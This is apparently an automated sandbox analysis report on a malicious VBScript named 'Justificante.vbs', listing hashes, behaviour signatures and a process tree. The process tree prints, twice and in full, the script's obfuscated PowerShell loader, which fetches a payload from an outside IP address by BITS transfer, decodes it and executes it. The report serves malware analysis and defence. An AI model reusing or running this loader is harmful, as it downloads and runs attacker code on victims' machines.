Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 14:31

General

  • Target

    Justificante.vbs

  • Size

    23KB

  • MD5

    c17a702d13da16d40d60d624866e5662

  • SHA1

    21222a8d1c645ecccc07090558a93cc28844fd80

  • SHA256

    3366e7cf0549781bef6c2690dd392ad34cfd7c3355e99f3d042256d6df2b4281

  • SHA512

    ff41f3c65eff02bf8c9c97b3701422f9f48a76c5b3239d905db3a2b6799b9ba95dea2fda4be37403323418e18123370b57ceeddb92adcb474cd06bc508fa2fc9

  • SSDEEP

    384:tDH9kcbBojN2IDLDpNXI+icmCPYoM5IZJuX7PvZDKZFdjiHf1Q4nBT:tDOcbBQ2IDLscmCPYoMX7PRKo3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Justificante.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\System32\cmd.exe
      cmd.exe /c echo 80
      2⤵
        PID:4676
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Republikan9 ([String]$Subsurfa){$Ensp=$Subsurfa.toCharArray();For($Untech=5; $Untech -lt $Ensp.count-1; $Untech+=(5+1)){$Servic+=$Ensp[$Untech]};$Servic;}$Langfriste=Republikan9 'PersohAnafotKondetReptip Krom:Kearn/Spilt/Extor9Udlse4Synte.Udlov1Algot5Forpe6Wando.Inclu6Super.Hypom1Rense5Afreg8Linke/Encycb Secuugruppr SupeeUdlsnaAndriu frdikSacrarCylina Paynt Opfa.dehydqChefdxTransdInkvi ';$Servic01=Republikan9 'StudiiAlbumeStrmpxEpigr ';$Abonnr = Republikan9 'Unsat\forhasEbeltyDataasDossewUneduoOsmoswStrkk6 Perl4Space\ OutwWAntiliWeltenEmbardBeholo NoejwOverssFustlPUdskioRodinwGianteCurrirMudirSStaddh HetaeReascl BrillForud\ZydecvAnefa1Embed.Efter0Salvn\SjapipLigkioAlveow HatceFaldsr HemosBrushhFoeise AfvilTheokl Creo. SermeFlatfxPhytoeCarva ';.($Servic01) (Republikan9 'Bulbu$XyzlylBredsiweathc FalskHazineSkvadnMetap2Babep=Nomin$BaluseergotnSimiavMusli:HarnswtitteiSortenFrakod ErnriSynger Sysk ') ;.($Servic01) (Republikan9 'Konsu$SolskAFloydbBlodpoHalfhnshowenToejdrUndan= Slng$TheellSkyggiReagec kernk MadoeReclanAntip2Enlar+Rerin$EmissAIndfjbWordioVapoun BandnQuinqrNakke ') ;.($Servic01) (Republikan9 'Udbom$BrakksFormatCosmouFritidItoni Purpl=Freck Disti(Prvef(Underg Girdw AttamBuxeriUbefa Angrew SubviMandsn Papi3Unsym2 Hamp_StorkpRewarr slskoGarstc ProaekloaksIcerssTrici Tapet-AressFResel SerorPPasterPremaoMaksicOverde ReclsJanuascompuISammedTrior=Yderp$Lethe{SmokiPPostnIBalugD Indg}Faden)Udski.SigneCStberoTreasmMunkemCutchaEssonnGlasudBestyL Undvi MaarnEndoceblend)Radia Ibere-BastisReborpIpecalIndreiEmbrat Detr Embed[ForrecDisadhSkoleaDobber Filc]Polys3Later4Tilsj ');.($Servic01) (Republikan9 'Krige$KnappR AfkoeSejers MedihFloptaMolec Ruder=Forur Alien$BakkesBruget PhytuPediadSatis[Murer$BengtsBogfrt SawfuMecomdConta.CaritcSkotvoAmeliuPeggynBrothtTegne-Super2Krene]haglb ');.($Servic01) (Republikan9 'Vocal$SmuttBFastei UindoNontrc karb=Gartn(BagakTKvalieHockesHowketMazed-KosakP SlosaIndlet Mufthsnake Guldb$EducaAdilapbAnguioFormbnAdrianRollermanga)Putti Natur-RemarAToldbnBackpdImpon koll(Borge[ScreaIFtrewnInbust RovsPGangltOpprirStors] unen:Doner:FilmssUlvsriWorthzStaireOmstt Tiltu-ParkeeLimsyqForre Fasc8Stemm)Carom ') ;if ($Bioc) {.$Abonnr $Resha;} else {;$Servic00=Republikan9 ' FronSSkatttamyloaNainsr Burkt Grde-TakkeBflorsiLatintFormis KatzTMankorVagabaCroslnLettisIndicfPatteeFlgelrSatse Still-FremmSdybfroRachmuSubscrPolygc KoageWakon Misap$SkoggLConsia AngonNonveg FordfAsocir Afski DevisNannit OvereFontn Fatti-sunniDVendee RadusXenyltCognai ShienDagblaStilltSkaldiClamooPelikn Tvtt porse$HobbllPaabeiForencudmalkMetaleInoscn Dung2Colli ';.($Servic01) (Republikan9 'offen$PlagelJagtkiAerotcMonumkVerife ThernKvikk2Bened=Skovs$brande EscanDokumv Magu:ornitaDeverpSilvep UnprdFjeldaSwatttspalta Lept ') ;.($Servic01) (Republikan9 'SneppI RepimRajplpPertuo FilmrJudgmtNontr-mdrenM FluooDraged slavuMensulPhotoeNomol DukkeBMeniniSambhtBadass SubkTAsyndrKonvoaBenzin MrkvsVithuf Raake DoterTupil ') ;$licken2=$licken2+'\abiogeni.hng';while (-not $Rainerswhi) {.($Servic01) (Republikan9 'Siegf$FormaRScoreaSussuiRattlninduceCarthrOverosSadlewAfhughStensiJobeo=Nettl(TriphTNarkoeAgilisSkjultOverh- OverP trouaornamtSkvhohOctap Scupp$HypozlGammaiEngagcEquickNoteaeHoghonPropo2begri)Untra ') ;.($Servic01) $Servic00;.($Servic01) (Republikan9 ' prolSutilbtDreckaFarverFravitVidar-BremsSTappelJockeeBlokaeDemivpXanth Gttel5Formu ');}.($Servic01) (Republikan9 'Rappo$UdbytRautopeBlotcpGglsru PicobOverflMojotinectakGulliaTilstnSubku Volle=Chron AbstrGPrsideDiment Prod-fremvCBirdloHovedn ParatXenogeFaamanOutskt Menn cymo$ BalllWrathi SkrucUddankNonsee ClasnPerus2 Dyre ');.($Servic01) (Republikan9 'brdsk$DrejeS Uncou Phosb SphaaBicorlNonsptpinuseUdfalrNonco Teen=magtf Gazet[SaltlSForsoyHelmis Akkotunpuneoverwm Afsi.KlukkC ForgoKilobnOpkbevEnergeGerbirChrystManic]indfr: schc:HvlefFAdjunr MiksoBestrm FortBSkattaOpvaasOpgaveNewsy6Sudan4SigneSFjumstEkskurIroniiMogignHeathgcarbu( Affu$ NoteRDiscoeplenupvittuu Dirib ereplExcogiModulkTarieaDeludnForso) Grie ');.($Servic01) (Republikan9 'Indva$EmbosSForgreBedesrSuperv CirriTradecStrib2Pepsi Fodtu=Klaps Exan[ CameSDesbuyJohnisTurbatSodioeTheramMorse.orakeTDratve BevixsponstTroak.IndivEPussenPapircKongeoStartdKilogiGaonpnbenoigMedta]Inert: Guld:BrancA CoroS TickC thelI pempInonel.HelioGSprgseparaetCagesS SonotTensirDebati FeebnRunolg efte(Perso$FluemSRustnu unfobFarmha RentlVejent MedlePatrirAfren)Murri ');.($Servic01) (Republikan9 'Reval$TechiDKommurForeho Meloe AspamrecommKaffee Kult=Shape$DividSValgdeGaloprMillivBesini HookcPatho2Grabe.Frists PolluAfvenbDrivesBredbtRocker Equii BoksnServigTeleg( Afhs2 Oweb6 Foun7Overp6Denud2 Arbe3Maler, Grib2Sdeli5Succe0Giddy5Flssc4Mahog)Rumsk ');.($Servic01) $Droemme;}"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2004
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Republikan9 ([String]$Subsurfa){$Ensp=$Subsurfa.toCharArray();For($Untech=5; $Untech -lt $Ensp.count-1; $Untech+=(5+1)){$Servic+=$Ensp[$Untech]};$Servic;}$Langfriste=Republikan9 'PersohAnafotKondetReptip Krom:Kearn/Spilt/Extor9Udlse4Synte.Udlov1Algot5Forpe6Wando.Inclu6Super.Hypom1Rense5Afreg8Linke/Encycb Secuugruppr SupeeUdlsnaAndriu frdikSacrarCylina Paynt Opfa.dehydqChefdxTransdInkvi ';$Servic01=Republikan9 'StudiiAlbumeStrmpxEpigr ';$Abonnr = Republikan9 'Unsat\forhasEbeltyDataasDossewUneduoOsmoswStrkk6 Perl4Space\ OutwWAntiliWeltenEmbardBeholo NoejwOverssFustlPUdskioRodinwGianteCurrirMudirSStaddh HetaeReascl BrillForud\ZydecvAnefa1Embed.Efter0Salvn\SjapipLigkioAlveow HatceFaldsr HemosBrushhFoeise AfvilTheokl Creo. SermeFlatfxPhytoeCarva ';.($Servic01) (Republikan9 'Bulbu$XyzlylBredsiweathc FalskHazineSkvadnMetap2Babep=Nomin$BaluseergotnSimiavMusli:HarnswtitteiSortenFrakod ErnriSynger Sysk ') ;.($Servic01) (Republikan9 'Konsu$SolskAFloydbBlodpoHalfhnshowenToejdrUndan= Slng$TheellSkyggiReagec kernk MadoeReclanAntip2Enlar+Rerin$EmissAIndfjbWordioVapoun BandnQuinqrNakke ') ;.($Servic01) (Republikan9 'Udbom$BrakksFormatCosmouFritidItoni Purpl=Freck Disti(Prvef(Underg Girdw AttamBuxeriUbefa Angrew SubviMandsn Papi3Unsym2 Hamp_StorkpRewarr slskoGarstc ProaekloaksIcerssTrici Tapet-AressFResel SerorPPasterPremaoMaksicOverde ReclsJanuascompuISammedTrior=Yderp$Lethe{SmokiPPostnIBalugD Indg}Faden)Udski.SigneCStberoTreasmMunkemCutchaEssonnGlasudBestyL Undvi MaarnEndoceblend)Radia Ibere-BastisReborpIpecalIndreiEmbrat Detr Embed[ForrecDisadhSkoleaDobber Filc]Polys3Later4Tilsj ');.($Servic01) (Republikan9 'Krige$KnappR AfkoeSejers MedihFloptaMolec Ruder=Forur Alien$BakkesBruget PhytuPediadSatis[Murer$BengtsBogfrt SawfuMecomdConta.CaritcSkotvoAmeliuPeggynBrothtTegne-Super2Krene]haglb ');.($Servic01) (Republikan9 'Vocal$SmuttBFastei UindoNontrc karb=Gartn(BagakTKvalieHockesHowketMazed-KosakP SlosaIndlet Mufthsnake Guldb$EducaAdilapbAnguioFormbnAdrianRollermanga)Putti Natur-RemarAToldbnBackpdImpon koll(Borge[ScreaIFtrewnInbust RovsPGangltOpprirStors] unen:Doner:FilmssUlvsriWorthzStaireOmstt Tiltu-ParkeeLimsyqForre Fasc8Stemm)Carom ') ;if ($Bioc) {.$Abonnr $Resha;} else {;$Servic00=Republikan9 ' FronSSkatttamyloaNainsr Burkt Grde-TakkeBflorsiLatintFormis KatzTMankorVagabaCroslnLettisIndicfPatteeFlgelrSatse Still-FremmSdybfroRachmuSubscrPolygc KoageWakon Misap$SkoggLConsia AngonNonveg FordfAsocir Afski DevisNannit OvereFontn Fatti-sunniDVendee RadusXenyltCognai ShienDagblaStilltSkaldiClamooPelikn Tvtt porse$HobbllPaabeiForencudmalkMetaleInoscn Dung2Colli ';.($Servic01) (Republikan9 'offen$PlagelJagtkiAerotcMonumkVerife ThernKvikk2Bened=Skovs$brande EscanDokumv Magu:ornitaDeverpSilvep UnprdFjeldaSwatttspalta Lept ') ;.($Servic01) (Republikan9 'SneppI RepimRajplpPertuo FilmrJudgmtNontr-mdrenM FluooDraged slavuMensulPhotoeNomol DukkeBMeniniSambhtBadass SubkTAsyndrKonvoaBenzin MrkvsVithuf Raake DoterTupil ') ;$licken2=$licken2+'\abiogeni.hng';while (-not $Rainerswhi) {.($Servic01) (Republikan9 'Siegf$FormaRScoreaSussuiRattlninduceCarthrOverosSadlewAfhughStensiJobeo=Nettl(TriphTNarkoeAgilisSkjultOverh- OverP trouaornamtSkvhohOctap Scupp$HypozlGammaiEngagcEquickNoteaeHoghonPropo2begri)Untra ') ;.($Servic01) $Servic00;.($Servic01) (Republikan9 ' prolSutilbtDreckaFarverFravitVidar-BremsSTappelJockeeBlokaeDemivpXanth Gttel5Formu ');}.($Servic01) (Republikan9 'Rappo$UdbytRautopeBlotcpGglsru PicobOverflMojotinectakGulliaTilstnSubku Volle=Chron AbstrGPrsideDiment Prod-fremvCBirdloHovedn ParatXenogeFaamanOutskt Menn cymo$ BalllWrathi SkrucUddankNonsee ClasnPerus2 Dyre ');.($Servic01) (Republikan9 'brdsk$DrejeS Uncou Phosb SphaaBicorlNonsptpinuseUdfalrNonco Teen=magtf Gazet[SaltlSForsoyHelmis Akkotunpuneoverwm Afsi.KlukkC ForgoKilobnOpkbevEnergeGerbirChrystManic]indfr: schc:HvlefFAdjunr MiksoBestrm FortBSkattaOpvaasOpgaveNewsy6Sudan4SigneSFjumstEkskurIroniiMogignHeathgcarbu( Affu$ NoteRDiscoeplenupvittuu Dirib ereplExcogiModulkTarieaDeludnForso) Grie ');.($Servic01) (Republikan9 'Indva$EmbosSForgreBedesrSuperv CirriTradecStrib2Pepsi Fodtu=Klaps Exan[ CameSDesbuyJohnisTurbatSodioeTheramMorse.orakeTDratve BevixsponstTroak.IndivEPussenPapircKongeoStartdKilogiGaonpnbenoigMedta]Inert: Guld:BrancA CoroS TickC thelI pempInonel.HelioGSprgseparaetCagesS SonotTensirDebati FeebnRunolg efte(Perso$FluemSRustnu unfobFarmha RentlVejent MedlePatrirAfren)Murri ');.($Servic01) (Republikan9 'Reval$TechiDKommurForeho Meloe AspamrecommKaffee Kult=Shape$DividSValgdeGaloprMillivBesini HookcPatho2Grabe.Frists PolluAfvenbDrivesBredbtRocker Equii BoksnServigTeleg( Afhs2 Oweb6 Foun7Overp6Denud2 Arbe3Maler, Grib2Sdeli5Succe0Giddy5Flssc4Mahog)Rumsk ');.($Servic01) $Droemme;}"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1888

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lxceorr0.u3w.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1888-45-0x0000000007E70000-0x00000000084EA000-memory.dmp

      Filesize

      6.5MB

    • memory/1888-44-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-53-0x0000000007A20000-0x0000000007A34000-memory.dmp

      Filesize

      80KB

    • memory/1888-51-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-17-0x0000000002950000-0x0000000002986000-memory.dmp

      Filesize

      216KB

    • memory/1888-18-0x00000000744F0000-0x0000000074CA0000-memory.dmp

      Filesize

      7.7MB

    • memory/1888-19-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-20-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-21-0x0000000005570000-0x0000000005B98000-memory.dmp

      Filesize

      6.2MB

    • memory/1888-22-0x00000000053B0000-0x00000000053D2000-memory.dmp

      Filesize

      136KB

    • memory/1888-23-0x0000000005BA0000-0x0000000005C06000-memory.dmp

      Filesize

      408KB

    • memory/1888-29-0x0000000005C10000-0x0000000005C76000-memory.dmp

      Filesize

      408KB

    • memory/1888-34-0x0000000006100000-0x0000000006454000-memory.dmp

      Filesize

      3.3MB

    • memory/1888-50-0x0000000007BC0000-0x0000000007BE2000-memory.dmp

      Filesize

      136KB

    • memory/1888-49-0x0000000008AA0000-0x0000000009044000-memory.dmp

      Filesize

      5.6MB

    • memory/1888-48-0x0000000006BA0000-0x0000000006BC2000-memory.dmp

      Filesize

      136KB

    • memory/1888-40-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-39-0x00000000744F0000-0x0000000074CA0000-memory.dmp

      Filesize

      7.7MB

    • memory/1888-47-0x0000000007890000-0x0000000007926000-memory.dmp

      Filesize

      600KB

    • memory/1888-41-0x0000000004F30000-0x0000000004F40000-memory.dmp

      Filesize

      64KB

    • memory/1888-42-0x0000000005000000-0x000000000501E000-memory.dmp

      Filesize

      120KB

    • memory/1888-43-0x0000000006640000-0x000000000668C000-memory.dmp

      Filesize

      304KB

    • memory/1888-46-0x0000000006B20000-0x0000000006B3A000-memory.dmp

      Filesize

      104KB

    • memory/2004-9-0x000001D178020000-0x000001D178042000-memory.dmp

      Filesize

      136KB

    • memory/2004-36-0x000001D178010000-0x000001D178020000-memory.dmp

      Filesize

      64KB

    • memory/2004-37-0x000001D178010000-0x000001D178020000-memory.dmp

      Filesize

      64KB

    • memory/2004-38-0x000001D178010000-0x000001D178020000-memory.dmp

      Filesize

      64KB

    • memory/2004-14-0x00007FF9B3F70000-0x00007FF9B4A31000-memory.dmp

      Filesize

      10.8MB

    • memory/2004-35-0x00007FF9B3F70000-0x00007FF9B4A31000-memory.dmp

      Filesize

      10.8MB

    • memory/2004-16-0x000001D178010000-0x000001D178020000-memory.dmp

      Filesize

      64KB

    • memory/2004-15-0x000001D178010000-0x000001D178020000-memory.dmp

      Filesize

      64KB